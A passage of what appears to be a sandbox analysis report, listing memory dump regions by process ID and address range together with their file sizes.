                                                                                                                                                                                                                                                                                                                                  39.0MB

                                                                                                                                                                                                                                                                                                                                • memory/1680-806-0x0000000000400000-0x0000000002B0C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  39.0MB

                                                                                                                                                                                                                                                                                                                                • memory/1680-787-0x0000000000400000-0x0000000002B0C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  39.0MB

                                                                                                                                                                                                                                                                                                                                • memory/1680-707-0x0000000000400000-0x0000000002B0C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  39.0MB

                                                                                                                                                                                                                                                                                                                                • memory/1680-585-0x00000000043D0000-0x00000000047C8000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.0MB

                                                                                                                                                                                                                                                                                                                                • memory/1712-256-0x0000000000910000-0x0000000000948000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  224KB

                                                                                                                                                                                                                                                                                                                                • memory/1784-5-0x0000000000870000-0x0000000000D41000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/1784-16-0x0000000000870000-0x0000000000D41000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/1784-0-0x0000000000870000-0x0000000000D41000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/1784-1-0x0000000077640000-0x0000000077642000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  8KB

                                                                                                                                                                                                                                                                                                                                • memory/1784-2-0x0000000000871000-0x000000000089F000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  184KB

                                                                                                                                                                                                                                                                                                                                • memory/1784-3-0x0000000000870000-0x0000000000D41000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/1784-6-0x0000000000870000-0x0000000000D41000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/1792-754-0x0000000000400000-0x0000000002B0C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  39.0MB

                                                                                                                                                                                                                                                                                                                                • memory/1792-708-0x0000000000400000-0x0000000002B0C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  39.0MB

                                                                                                                                                                                                                                                                                                                                • memory/1792-581-0x00000000044C0000-0x00000000048B8000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.0MB

                                                                                                                                                                                                                                                                                                                                • memory/1792-844-0x0000000000400000-0x0000000002B0C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  39.0MB

                                                                                                                                                                                                                                                                                                                                • memory/1792-788-0x0000000000400000-0x0000000002B0C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  39.0MB

                                                                                                                                                                                                                                                                                                                                • memory/1816-59-0x0000000000030000-0x0000000000031000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                • memory/1836-78-0x0000000000290000-0x00000000002E2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  328KB

                                                                                                                                                                                                                                                                                                                                • memory/1848-609-0x00000000043F0000-0x00000000047E8000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.0MB

                                                                                                                                                                                                                                                                                                                                • memory/1848-790-0x0000000000400000-0x0000000002B0C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  39.0MB

                                                                                                                                                                                                                                                                                                                                • memory/1848-846-0x0000000000400000-0x0000000002B0C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  39.0MB

                                                                                                                                                                                                                                                                                                                                • memory/1848-853-0x0000000000400000-0x0000000002B0C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  39.0MB

                                                                                                                                                                                                                                                                                                                                • memory/1848-717-0x0000000000400000-0x0000000002B0C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  39.0MB

                                                                                                                                                                                                                                                                                                                                • memory/1848-759-0x0000000000400000-0x0000000002B0C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  39.0MB

                                                                                                                                                                                                                                                                                                                                • memory/1920-441-0x0000000077330000-0x000000007744F000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  1.1MB

                                                                                                                                                                                                                                                                                                                                • memory/1920-442-0x0000000077230000-0x000000007732A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  1000KB

                                                                                                                                                                                                                                                                                                                                • memory/2120-279-0x0000000000090000-0x00000000000B0000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  128KB

                                                                                                                                                                                                                                                                                                                                • memory/2296-608-0x0000000000400000-0x0000000000793000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  3.6MB

                                                                                                                                                                                                                                                                                                                                • memory/2296-621-0x0000000000400000-0x0000000000793000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  3.6MB

                                                                                                                                                                                                                                                                                                                                • memory/2388-568-0x0000000004430000-0x0000000004828000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.0MB

                                                                                                                                                                                                                                                                                                                                • memory/2388-785-0x0000000000400000-0x0000000002B0C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  39.0MB

                                                                                                                                                                                                                                                                                                                                • memory/2388-752-0x0000000000400000-0x0000000002B0C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  39.0MB

                                                                                                                                                                                                                                                                                                                                • memory/2388-706-0x0000000000400000-0x0000000002B0C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  39.0MB

                                                                                                                                                                                                                                                                                                                                • memory/2388-831-0x0000000000400000-0x0000000002B0C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  39.0MB

                                                                                                                                                                                                                                                                                                                                • memory/2388-805-0x0000000000400000-0x0000000002B0C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  39.0MB

                                                                                                                                                                                                                                                                                                                                • memory/2560-727-0x0000000005FB0000-0x00000000062F9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  3.3MB

                                                                                                                                                                                                                                                                                                                                • memory/2560-22-0x0000000001040000-0x0000000001511000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/2560-17-0x0000000001040000-0x0000000001511000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/2560-257-0x0000000001040000-0x0000000001511000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/2560-234-0x0000000001040000-0x0000000001511000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/2560-691-0x0000000001040000-0x0000000001511000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/2560-18-0x0000000001041000-0x000000000106F000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  184KB

                                                                                                                                                                                                                                                                                                                                • memory/2560-792-0x0000000001040000-0x0000000001511000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/2560-220-0x0000000005FB0000-0x00000000062F9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  3.3MB

                                                                                                                                                                                                                                                                                                                                • memory/2560-182-0x0000000001040000-0x0000000001511000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/2560-538-0x0000000001040000-0x0000000001511000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/2560-136-0x0000000001040000-0x0000000001511000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/2560-815-0x0000000001040000-0x0000000001511000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/2560-847-0x0000000001040000-0x0000000001511000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/2560-767-0x0000000001040000-0x0000000001511000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/2560-744-0x0000000001040000-0x0000000001511000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/2560-23-0x0000000001040000-0x0000000001511000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/2560-19-0x0000000001040000-0x0000000001511000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/2560-21-0x0000000001040000-0x0000000001511000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                                                                                                                                                • memory/2948-820-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  32KB

                                                                                                                                                                                                                                                                                                                                • memory/3296-746-0x0000000002020000-0x000000000268E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  6.4MB

                                                                                                                                                                                                                                                                                                                                • memory/3296-849-0x0000000002020000-0x000000000268E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  6.4MB

                                                                                                                                                                                                                                                                                                                                • memory/3392-747-0x0000000000E80000-0x00000000014EE000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  6.4MB

                                                                                                                                                                                                                                                                                                                                • memory/3392-748-0x00000000014F0000-0x0000000001B5E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  6.4MB

                                                                                                                                                                                                                                                                                                                                • memory/3392-749-0x00000000014F0000-0x0000000001B5E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  6.4MB

                                                                                                                                                                                                                                                                                                                                • memory/3392-852-0x00000000014F0000-0x0000000001B5E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  6.4MB

                                                                                                                                                                                                                                                                                                                                • memory/3392-851-0x00000000014F0000-0x0000000001B5E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  6.4MB

                                                                                                                                                                                                                                                                                                                                • memory/3392-850-0x0000000000E80000-0x00000000014EE000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  6.4MB

                                                                                                                                                                                                                                                                                                                                • memory/3392-764-0x0000000010000000-0x00000000105DD000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  5.9MB

                                                                                                                                                                                                                                                                                                                                • memory/3540-866-0x000000001B3A0000-0x000000001B682000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  2.9MB

                                                                                                                                                                                                                                                                                                                                • memory/3540-867-0x0000000002410000-0x0000000002418000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  32KB

                                                                                                                                                                                                                                                                                                                                • memory/3776-779-0x000000001B300000-0x000000001B5E2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  2.9MB

                                                                                                                                                                                                                                                                                                                                • memory/3776-780-0x0000000002370000-0x0000000002378000-memory.dmp

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  32KB